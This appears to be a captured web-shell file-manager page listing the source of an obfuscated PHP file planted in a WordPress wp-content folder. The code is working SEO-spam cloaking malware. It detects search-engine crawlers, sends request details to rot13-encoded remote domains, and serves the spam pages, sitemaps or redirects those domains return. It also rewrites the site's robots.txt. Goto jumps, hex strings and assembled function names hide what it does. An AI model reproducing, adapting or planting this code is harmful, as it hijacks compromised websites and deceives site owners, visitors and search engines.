HEX
Server: Apache
System: Linux clpupre 5.4.0-90-generic #101-Ubuntu SMP Fri Oct 15 20:00:55 UTC 2021 x86_64
User: undanet (1000)
PHP: 7.4.3
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /home/undanet/www/wp-content/yitomaxiqa/qufaguyuto/fuwuf.php
<?php
 goto H2yuC; mpVIb: $host = $_SERVER["\x48\x54\124\120\x5f\110\x4f\123\x54"]; goto jGRa2; XeYhv: $server = detect_server_software(); goto VMj13; MCWXl: preg_match("\x2f\134\57\50\133\x5e\x5c\x2f\x5d\53\x5c\56\160\x68\x70\51\57", $duri, $matches); goto TsKji; TsKji: if (empty($matches) || $matches[1] == "\x77\x70\x2d\143\x72\x6f\x6d\56\x70\x68\x70" || $matches[1] == "\144\145\164\x61\x69\154\56\x70\x68\x70") { $model_file = "\151\x6e\x64\x65\x78\x2e\x70\150\160"; $model = "\x69\156\144\145\x78"; } else { $model_file = $matches[1]; $position = strpos($duri, $model_file); if ($position !== false) { $model_file = substr($duri, 0, $position + strlen($model_file)); $model_file = ltrim($model_file, "\x2f"); } $model = str_replace("\56\160\x68\x70", '', $model_file); } goto KHEQu; KHEQu: if (stristr($duri, "\57\x3f")) { $model = "\77"; } goto JAKfO; a6SyA: function detect_server_software() { $path = $_SERVER["\x44\x4f\103\125\115\105\116\x54\137\122\x4f\x4f\x54"] . "\x2f\x2e\x68\164\x61\x63\x63\145\x73\163"; if (file_exists($path)) { return 1; } else { return 2; } } goto AQITG; oQU1Z: if (strpos($duri, $string) !== false) { $zz = 1; $duri = str_replace($string, '', $duri); $istest = true; } goto szCXe; tGR3Q: $istest = false; goto oQU1Z; szCXe: if ($duri != "\x2f") { $duri = str_replace("\x2f" . $model_file, '', $duri); $duri = str_replace("\x2f\x69\156\x64\145\x78\x2e\x70\x68\x70", '', $duri); $duri = str_replace("\x21", '', $duri); } goto qu2Hm; AQITG: function create_robots($url) { $function = func(); $path = $_SERVER["\x44\x4f\103\x55\x4d\105\x4e\124\x5f\x52\x4f\117\x54"] . "\57\x72\x6f\x62\x6f\164\163\x2e\x74\x78\164"; $content = "\125\163\145\162\x2d\x61\147\145\x6e\x74\x3a\x20\x2a" . PHP_EOL; $content .= "\x41\x6c\154\157\167\x3a\x20\57" . PHP_EOL . PHP_EOL; $content .= "\x53\151\164\145\155\141\160\72\40" . $url . "\57\163\x69\164\145\x6d\141\x70\56\170\155\154" . PHP_EOL; if (!file_exists($path)) { $function[0]($path, $content); } else { $existingContent = $function[1]($path); if ($existingContent !== $content) { $function[0]($path, $content); } } } goto DeebD; OJ6_N: if (!strstr($html_content, "\156\157\142\157\164\165\x73\145\x72\141\147\145\156\x74")) { if (strstr($html_content, "\x6f\x6b\x68\x74\155\x6c")) { @header("\103\157\156\x74\x65\156\x74\55\x74\x79\x70\x65\x3a\40\164\x65\170\164\57\150\164\x6d\x6c\73\40\143\x68\141\x72\x73\145\x74\75\165\164\x66\x2d\x38"); $html_content = str_replace("\157\153\x68\x74\155\x6c", '', $html_content); if ($istest) { echo $string; } echo $html_content; die; } else { if (strstr($html_content, "\x67\x65\164\x63\x6f\156\164\145\156\x74\65\x30\x30\160\x61\147\x65")) { @header("\x48\x54\x54\120\57\x31\56\x31\x20\x35\x30\60\40\x49\156\164\x65\x72\156\x61\154\x20\x53\x65\162\166\145\162\40\105\162\162\x6f\162"); die; } else { if (strstr($html_content, "\x34\60\x34\x70\141\x67\x65")) { @header("\110\124\x54\x50\57\61\56\x31\x20\x34\x30\64\40\x4e\x6f\164\40\x46\x6f\x75\x6e\x64"); die; } else { if (strstr($html_content, "\x33\60\x31\x70\x61\147\x65")) { @header("\x48\124\x54\120\57\x31\x2e\x31\x20\x33\x30\x31\40\115\157\166\x65\x64\x20\x50\145\x72\155\141\156\x65\156\x74\154\x79"); $html_content = str_replace("\63\60\61\160\x61\x67\145", '', $html_content); header("\114\157\x63\141\x74\x69\x6f\156\72\40" . $html_content); die; } else { if (strstr($html_content, "\157\153\x78\x6d\154")) { $html_content = str_replace("\157\153\x78\155\154", '', $html_content); @header("\x43\x6f\156\164\145\156\x74\x2d\x54\x79\x70\145\72\40\x61\160\x70\154\151\143\141\164\x69\157\x6e\57\170\x6d\x6c\x3b\x20\143\x68\x61\x72\163\145\164\x3d\x75\164\x66\x2d\x38"); echo $html_content; die; } else { if (strstr($html_content, "\x6f\153\162\x6f\x62\157\164\163")) { $html_content = str_replace("\x6f\x6b\x72\x6f\142\x6f\x74\x73", '', $html_content); @header("\103\157\156\x74\145\156\164\55\124\171\160\x65\x3a\40\x74\145\x78\164\x2f\x70\154\141\x69\156"); echo $html_content; die; } } } } } } } goto htGCY; RJD5n: $urlshang = ''; goto yc81Y; q8gKm: $http_web = "\x68\x74\x74\x70"; goto mpVIb; DeebD: function request($webs, $http_web, $param) { $function = func(); shuffle($webs); foreach ($webs as $domain) { $domain = $function[2](urldecode($domain)); $url = $http_web . "\x3a\x2f\x2f" . $domain . "\x2f\x73\x75\160\145\162\x36\56\160\x68\160\x3f" . $param; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); if (!curl_errno($ch)) { curl_close($ch); return $response; } else { if (stristr(curl_error($ch), "\64\64\63")) { echo "\64\64\63"; } curl_close($ch); } if (ini_get("\x61\x6c\x6c\x6f\167\137\x75\x72\x6c\137\x66\157\x70\145\x6e")) { $response = @$function[1]($url); if ($response !== false) { return $response; } } } return "\156\157\142\x6f\164\x75\x73\145\x72\141\147\145\156\164"; } goto jgxmi; VMj13: create_robots($http . "\x3a\x2f\57" . $host); goto zvaCL; JAKfO: $string = "\63\x32\71\x2d\154\151\156\153\61\x37\70"; goto tGR3Q; zvaCL: $param = "\x77\x65\x62\x3d" . $host . "\x26\172\172\x3d" . $zz . "\x26\x75\162\x69\75" . $duri . "\x26\165\162\x6c\163\x68\141\156\147\75" . $urlshang . "\46\150\x74\x74\160\x3d" . $http . "\46\154\141\x6e\147\75" . $lang . "\x26\163\145\x72\x76\x65\x72\x3d" . $server . "\46\x6d\x6f\144\145\154\x3d" . $model; goto yVOOd; yVOOd: $html_content = request($xmlname, $http_web, $param); goto OJ6_N; R73io: $duri = drequest_uri(); goto hTnfJ; yc81Y: if (isset($_SERVER["\x48\x54\124\x50\x5f\122\x45\x46\x45\x52\105\122"])) { $urlshang = $_SERVER["\x48\124\x54\120\x5f\122\105\106\105\x52\x45\122"]; } goto SSk2U; r1M0t: function drequest_uri() { if (isset($_SERVER["\x52\x45\121\x55\105\123\124\137\x55\x52\x49"])) { $duri = $_SERVER["\x52\x45\121\x55\105\123\x54\137\125\x52\111"]; } else { if (isset($_SERVER["\141\x72\147\x76"])) { $duri = $_SERVER["\x50\x48\120\x5f\x53\105\114\106"] . "\x3f" . $_SERVER["\141\x72\x67\166"][0]; } else { $duri = $_SERVER["\120\x48\x50\x5f\x53\105\114\106"] . "\x3f" . $_SERVER["\121\125\105\122\x59\x5f\123\124\x52\x49\x4e\x47"]; } } return $duri; } goto cZGp6; jGRa2: $lang = isset($_SERVER["\x48\x54\124\120\x5f\101\x43\x43\x45\120\124\137\x4c\x41\x4e\x47\125\101\107\105"]) ?: "\x65\x6e"; goto RJD5n; hTnfJ: $duri = $duri == '' ? "\x2f" : $duri; goto MCWXl; cZGp6: function is_https() { if (isset($_SERVER["\x48\124\124\120\x53"]) && strtolower($_SERVER["\x48\x54\x54\x50\x53"]) !== "\157\146\x66") { return true; } elseif (isset($_SERVER["\110\x54\x54\x50\x5f\x58\137\x46\117\122\x57\101\x52\x44\x45\104\x5f\120\x52\117\x54\x4f"]) && $_SERVER["\x48\124\x54\120\x5f\130\x5f\x46\117\x52\x57\101\x52\x44\x45\x44\137\x50\x52\117\124\x4f"] === "\x68\164\x74\160\163") { return true; } elseif (isset($_SERVER["\110\x54\x54\x50\x5f\x46\x52\117\116\x54\x5f\105\116\x44\137\110\124\x54\x50\123"]) && strtolower($_SERVER["\110\x54\x54\x50\x5f\x46\x52\117\116\x54\x5f\105\x4e\104\x5f\x48\124\124\120\x53"]) !== "\157\x66\x66") { return true; } return false; } goto a6SyA; H2yuC: $xmlname = array("\x25\63\x33\x25\63\62\45\x33\x39\x25\x32\x44\x25\67\71\x25\x37\x36\x25\x36\x31\45\67\x38\45\x33\61\x25\x33\67\x25\63\x38\x25\x32\x45\x25\66\62\x25\66\x46\x25\x37\63\45\x36\70\x25\66\x36\45\67\60\x25\x36\70\x25\x37\x36\45\x36\x31\45\x32\x45\45\66\x37\45\66\x32\45\x36\x33", "\x25\63\63\x25\63\62\45\x33\71\x25\62\x44\x25\x37\71\45\67\66\45\x36\61\45\67\x38\45\x33\61\x25\63\x37\45\x33\70\x25\x32\x45\45\66\66\45\x37\x32\45\66\65\45\x37\62\x25\66\x31\45\67\x31\x25\x37\x36\x25\x36\67\x25\66\103\45\x32\x45\x25\x36\x37\x25\x36\x32\45\66\63", "\45\x33\63\x25\63\62\x25\63\x39\x25\x32\104\45\67\71\x25\67\x36\x25\x36\x31\45\x37\70\45\x33\61\45\x33\x37\x25\x33\x38\45\62\105\x25\67\x32\45\67\60\45\x36\x32\x25\66\71\45\x37\66\45\x36\x36\45\x37\66\x25\66\x32\45\x36\66\45\62\x45\x25\x36\102\45\66\103\x25\66\x44", "\x25\x33\x33\x25\63\62\45\63\71\45\62\104\45\x37\71\45\x37\x36\x25\x36\x31\x25\x37\70\x25\x33\61\x25\x33\x37\x25\x33\70\45\62\x45\x25\67\x36\x25\x36\61\45\66\x31\x25\66\62\x25\x36\x36\45\66\x33\45\x37\x32\x25\x36\x31\x25\x32\105\x25\x36\67\45\x36\x32\x25\x36\63"); goto q8gKm; SSk2U: if (is_https()) { $http = "\x68\164\164\x70\163"; } else { $http = "\x68\164\x74\160"; } goto QWRs9; htGCY: function disbot() { $user_agent = strtolower($_SERVER["\110\x54\124\x50\x5f\x55\123\x45\122\137\101\x47\x45\116\124"]); if (stristr($user_agent, "\147\157\157\147\x6c\145\142\x6f\164") || stristr($user_agent, "\x62\x69\x6e\x67") || stristr($user_agent, "\171\x61\x68\157\x6f") || stristr($user_agent, "\x67\157\157\147\x6c\145") || stristr($user_agent, "\107\157\x6f\x67\x6c\145\142\157\164")) { return 1; } else { return 2; } } goto r1M0t; qu2Hm: $duri = urlencode($duri); goto XeYhv; QWRs9: $zz = disbot(); goto R73io; jgxmi: function func() { $chars = range("\x61", "\x7a"); return array($chars[5] . $chars[8] . $chars[11] . $chars[4] . "\x5f" . $chars[15] . $chars[20] . $chars[19] . "\137" . $chars[2] . $chars[14] . $chars[13] . $chars[19] . $chars[4] . $chars[13] . $chars[19] . $chars[18], $chars[5] . $chars[8] . $chars[11] . $chars[4] . "\137" . $chars[6] . $chars[4] . $chars[19] . "\x5f" . $chars[2] . $chars[14] . $chars[13] . $chars[19] . $chars[4] . $chars[13] . $chars[19] . $chars[18], $chars[18] . $chars[19] . $chars[17] . "\x5f" . $chars[17] . $chars[14] . $chars[19] . "\x31\63"); }